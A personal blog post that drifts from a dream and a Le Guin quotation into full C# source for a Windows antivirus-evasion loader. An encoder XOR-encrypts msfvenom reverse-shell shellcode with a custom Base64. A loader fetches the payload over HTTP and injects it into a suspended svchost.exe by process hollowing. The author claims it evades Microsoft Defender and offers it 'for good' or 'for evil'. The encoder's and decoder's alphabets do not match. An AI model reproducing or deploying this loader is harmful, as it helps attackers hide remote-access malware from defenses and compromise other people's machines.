Dreams, Malware Development: Process Hollowing, Dynamic XOR decryption, Custom Base64 and more!
Posted on: 12/25/2023
I've been having very symbolic dreams lately. I had one a few days ago. I was Carl Jung, Freud was there. He gave me a bunny as a gift, but I didn't want it. He said "Pet the bunny." I said no. It was sitting on my bed afraid, clearly not wanting to be touched. He told me to pet it, he moved my hand close. I pulled away. He tried and tried to force me. I kept declining. I said this is the problem with people and loving, they are so focused on expressing love in certain ways that they neglect how others want to express love, how the recipient receives love. The bunny went away. Then there was a puppy, both were white as snow. Little baby puppy was so excited, so eager to be affected for. I pulled him onto my bed and played with him, let him teethe on my hands. I looked at my left palm. I had a painful splinter. I woke up thinking it was all real.
Jung calls dreams "compensatory" and speaks to their ability to push our brains toward equilibrium. I am a believer in the healing power of sleep. What doesn't feel at least a little better after a nap? Our brains. These whalf-asleep gentle giants walking hypnagogic, silly. I'm reminded of a quote from Ursula Le Guin's "The Lathe of Heaven"
"Current-borne, wave-flung, tugged hugely by the whole might of ocean, the jellyfish drifts in the tidal abyss. The light shines through it, and the dark enters it. Borne, flung, tugged from anywhere to anywhere, for in the deep sea there is no compass but nearer and farther, higher and lower, the jellyfish hangs and sways; pulses move slight and quick within it, as the vast diurnal pulses beat in the moon-driven sea. Hanging, swaying, pulsing, the most vulnerable and insubstantial creature, it has for its defense the violence and power of the whole ocean, to which it has entrusted its being, its going, and its will.
But here rise the stubborn continents. The shelves of gravel and the cliffs of rock break from water baldly into air, that dry, terrible outerspace of radiance and instability, where there is no support for life. And now, now the currents mislead and the waves betray, breaking their endless circle, to leap up in loud foam against rock and air, breaking…
What will the creature made all of seadrift do on the dry sand of daylight; what will the mind do, each morning, waking?"
Here is some fog I saw on my drive to work.
Today I am speaking to you for the greater purpose of nurturing my own understanding. Perhaps I will help you nurture yours as well. I've been testing malware on a couple devices I own. The place I work gave me an old decomissioned computer they were going to throw out, so I have an Ubuntu machine on it running a Windows 10 VM, and the below method evades defender signature scanning and runtime analysis. (I have not tried this on Windows 11 yet.)
Just for funsies, I've been playing around with how I might bypass Microsoft Defender for personal use. This technique would probably not work well for EDR.
I used the POC script from this helpful guide
https://crypt0ace.github.io/posts/Shellcode-Injection-Techniques-Part-2/
And learned a thing or two from the blogpost itself. It describes Process Hollowing as involving "creating a process in a suspended state, then unmapping/hollowing it's memory, which can then be replaced with malicious code."
The script given at the end also includes an image of RTP, Cloud-Delivered Protection, Automatic Sample Submission, and Tamper Protection as being On, so this method alone might be good enough, but I went just a little step further here because whenever I with scripts that I wrote, including the shellcode in the script itself was often flagged by signature detection.
The Csharp script I have utilizes the same method of process hollowing and injection, but in order to avoid having any overtly malicious payloads on the device itself, my script includes the ability to encrypt shellcode using a dynamically generated XOR key.
The full scripts are below, open source, do whatever you like with them, and I won't be getting too granular with this. Here's about how it goes. First for the encoder script.
1. The script imports the namespaces, declares a class named "ShellcodeEncoder"
2. It initializes a static random object which will be used to generate a random XOR encryption key.
3. Entry point of the main function.
4. Shellcode is definied.
5. The 8 byte XOR key is generated, completely random, and encrypted differently
each time which evades signature based detection.
6. The shellcode is encrypted using the XOR key, for all the stupid fuckin computer knows it's just regular old data now.
7. A custom alphabet for base64 is defined, deviating from standard reversible base64 encoding or the suspicious of regular base64 encoded strings.
8. XOR keyu is combined with the encrypted shellcode using the custom b64 alphabet.
You can compile it with mcs -out:encoder.exe encoder.cs, and then run it with ./encoder.exe > kissykiss.txt to output to a text file which is useful for the next part, since the loader scripts grabs the encrypted shellcode over an http server.
Now that the shellcode is stored, you can call it with the loader. Loader script works like this.
Sidenote: I saw this image in a tweet and the person said "every time i see this i just feel like this is how God sees us"
I liked that very much.
1. imports namespaces, blah blah blah
2. Defines the program with its own namespace
3. P/invoke signatures, importing various windows api functions necessary for process manipulation and memory oprations.
4. constants and structures. used to configure process and memory attributes as per windows api requirements. booooring.
5. i am going to give you a kiss on the lips.
6. main method. initializes a webclient object for that http communication we were talking about earlier. it downloads the shellcode from the specified url, in my case 192.168.0.58:8080/kissykiss.txt
7. It fetches the payload remotely, this avoids writing the naughty stuff (shellcode) to disk.
8. decode the custom encoded shellcode. extract the xor key and decrypt the shellcode. shellcode is now de-obfuscated.
9. smoking more weed now, this is an essential part of the malware development process so please smoke weed now.
10. uhhh. process hollowing. process gets hoollowed. svchost.exe is created in a suspended state. its ubiquitous.
11. retrieve process peb.
12. read memory of the new process to find the entry point.
13. write decrypted shellcode the memory of the new process, replacing the original code.
14. resume the suspended process. you win. you are leet. chatgpt and internet save the day again.
So basically I'm really cool and based. Scripts below. Use them for good. Use them for evil. If the past 7.5billion years are anything to go by you will only inspire an equal and opposite reaction. 1312 world is a fuck save the orcasfree palestine
using System;
using System.Text;
public class ShellcodeEncoder
{
private static Random random = new Random();
public static void Main(string[] args)
{
// Raw shellcode byte array.
byte[] shellcode = new byte[???] { };
//msfvenom -p windows/x64/meterpreter_reverse_https LHOST=??? LPORT=???? -f csharp, replace "new byte" onwards with that info.
// for sliver, msfvenom -p windows/x64/custom/reverse_winhttp LHOST=??? LPORT=??? LURI=/example.woff -c, however u must use -prepend-size when staging a listener
// Generate a dynamic XOR key (8 bytes in this example)
byte[] xorKey = new byte[8];
random.NextBytes(xorKey);
// XOR Encrypt the shellcode
byte[] xoredShellcode = XOREncrypt(shellcode, xorKey);
// Combine XOR key and xored shellcode
byte[] combinedData = new byte[xorKey.Length + xoredShellcode.Length];
Array.Copy(xorKey, 0, combinedData, 0, xorKey.Length);
Array.Copy(xoredShellcode, 0, combinedData, xorKey.Length, xoredShellcode.Length);
// Custom Base64 alphabet
const string customAlphabet = ""VXZBCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/"";
// Base64 encode the combined data using custom alphabet
string encodedShellcode = CustomBase64Encode(combinedData, customAlphabet);
Console.WriteLine(encodedShellcode);
}
private static byte[] XOREncrypt(byte[] data, byte[] key)
{
byte[] encrypted = new byte[data.Length];
for (int i = 0; i < data.Length; i++)
{
encrypted[i] = (byte)(data[i] ^ key[i % key.Length]);
}
return encrypted;
}
private static string CustomBase64Encode(byte[] input, string alphabet)
{
string standardEncoded = Convert.ToBase64String(input);
StringBuilder customEncoded = new StringBuilder(standardEncoded.Length);
foreach (char c in standardEncoded)
{
if (c == '+') customEncoded.Append(alphabet[62]);
else if (c == '/') customEncoded.Append(alphabet[63]);
else if (c == '=') customEncoded.Append('=');
else if (char.IsDigit(c)) customEncoded.Append(alphabet[c - '0' + 52]);
else if (char.IsUpper(c)) customEncoded.Append(alphabet[c - 'A']);
else if (char.IsLower(c)) customEncoded.Append(alphabet[c - 'a' + 26]);
}
return customEncoded.ToString();
}
}
loader.cs
using System;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;
namespace Process_Hollowing
{
class Program
{
// P/Invoke signatures and constants
[DllImport("kernel32.dll")]
private static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, ref PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
private static extern uint ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll")]
private static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);
[DllImport("ntdll.dll")]
private static extern uint ZwQueryInformationProcess(IntPtr hProcess, PROCESSINFOCLASS pic, ref PROCESS_BASIC_INFORMATION pbi, uint cb, out uint pbiLength);
private const uint MEM_COMMIT = 0x1000;
private const uint PAGE_EXECUTE_READWRITE = 0x40;
private const uint PROCESS_CREATE_THREAD = 0x0002;
private const uint PROCESS_QUERY_INFORMATION = 0x0400;
private const uint PROCESS_VM_OPERATION = 0x0008;
private const uint PROCESS_VM_WRITE = 0x0020;
private const uint PROCESS_VM_READ = 0x0010;
private const uint CREATE_SUSPENDED = 0x00000004;
private const int PROCESSBASICINFORMATION = 0;
// Structures for P/Invoke
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
public struct STARTUPINFO
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
public struct PROCESS_BASIC_INFORMATION
{
public IntPtr Reserved1;
public IntPtr PebAddress;
public IntPtr Reserved2;
public IntPtr Reserved3;
public uint UniquePid;
public IntPtr MoreReserved;
}
public enum PROCESSINFOCLASS : int
{
ProcessBasicInformation = 0,
// ... (other members of the enum)
}
// Main method to fetch and decrypt shellcode
public static void Main(string[] args)
{
// Fetch the encoded data from the server
string url = "http://192.168.0.58:8000/kissykiss.txt";
WebClient webClient = new WebClient();
string encodedData = webClient.DownloadString(url);
// Decode the data from custom Base64
byte[] combinedData = CustomBase64Decode(encodedData, "ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/");
// Extract the XOR key (first 8 bytes) and the encrypted shellcode
byte[] xorKey = new byte[8];
Array.Copy(combinedData, 0, xorKey, 0, xorKey.Length);
byte[] encryptedShellcode = new byte[combinedData.Length - xorKey.Length];
Array.Copy(combinedData, xorKey.Length, encryptedShellcode, 0, encryptedShellcode.Length);
// Decrypt the shellcode using the XOR key
byte[] decryptedShellcode = XORDecrypt(encryptedShellcode, xorKey);
// Execute the decrypted shellcode using process hollowing
ProcessHollow(decryptedShellcode);
}
// Method to decrypt shellcode (update with actual decryption logic)
private static byte[] XORDecrypt(byte[] data, byte[] key)
{
byte[] decrypted = new byte[data.Length];
for (int i = 0; i < data.Length; i++)
{
decrypted[i] = (byte)(data[i] ^ key[i % key.Length]);
}
return decrypted;
}
//Customer Base64 Function
private static byte[] CustomBase64Decode(string encoded, string alphabet)
{
string standardAlphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
StringBuilder standardEncoded = new StringBuilder(encoded.Length);
foreach (char c in encoded)
{
if (c == '=')
{
standardEncoded.Append(c);
}
else
{
int index = alphabet.IndexOf(c);
if (index >= 0)
{
if (index < 62) standardEncoded.Append(standardAlphabet[index]);
else if (index == 62) standardEncoded.Append('+');
else if (index == 63) standardEncoded.Append('/');
}
}
}
return Convert.FromBase64String(standardEncoded.ToString());
}
// Hollow method to perform process hollowing and execute the shellcode
private static void ProcessHollow(byte[] shellcode)
{
PROCESS_INFORMATION procInfo = new PROCESS_INFORMATION();
STARTUPINFO startupInfo = new STARTUPINFO();
PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION();
// Path to a benign executable, e.g., svchost.exe
string path = @"C:\Windows\System32\svchost.exe";
// Create a new process in a suspended state
bool procInit = CreateProcess(null, path, IntPtr.Zero, IntPtr.Zero, false, CREATE_SUSPENDED, IntPtr.Zero, null, ref startupInfo, ref procInfo);
if (!procInit)
{
Console.WriteLine("[-] Could not create the process.");
return;
}
Console.WriteLine("[*] Process created successfully. PID: {0}", procInfo.dwProcessId);
// Query for the process's basic information to get the address of its PEB
uint retLength = 0;
ZwQueryInformationProcess(procInfo.hProcess, PROCESSINFOCLASS.ProcessBasicInformation, ref pbi, (uint)(IntPtr.Size * 6), out retLength);
IntPtr imageBaseAddr = (IntPtr)((Int64)pbi.PebAddress + 0x10);
Console.WriteLine("[*] Image Base Address found: 0x{0:X}", imageBaseAddr.ToInt64());
// Read the image base address of the created process
byte[] baseAddrBytes = new byte[8];
ReadProcessMemory(procInfo.hProcess, imageBaseAddr, baseAddrBytes, baseAddrBytes.Length, out _);
IntPtr execAddr = (IntPtr)BitConverter.ToInt64(baseAddrBytes, 0);
// Read the DOS header to find the e_lfanew field
byte[] data = new byte[0x200];
ReadProcessMemory(procInfo.hProcess, execAddr, data, data.Length, out _);
uint e_lfanew = BitConverter.ToUInt32(data, 0x3C);
Console.WriteLine("[*] e_lfanew: 0x{0:X}", e_lfanew);
// Calculate the entry point address and write the shellcode there
uint rvaOffset = e_lfanew + 0x28;
uint rva = BitConverter.ToUInt32(data, (int)rvaOffset);
IntPtr entrypointAddr = (IntPtr)((UInt64)execAddr + rva);
Console.WriteLine("[*] Entrypoint found: 0x{0:X}", entrypointAddr.ToInt64());
WriteProcessMemory(procInfo.hProcess, entrypointAddr, shellcode, shellcode.Length, out _);
Console.WriteLine("[*] Shellcode injected. Resuming thread...");
// Resume the thread to execute the shellcode
ResumeThread(procInfo.hThread);
}
}
}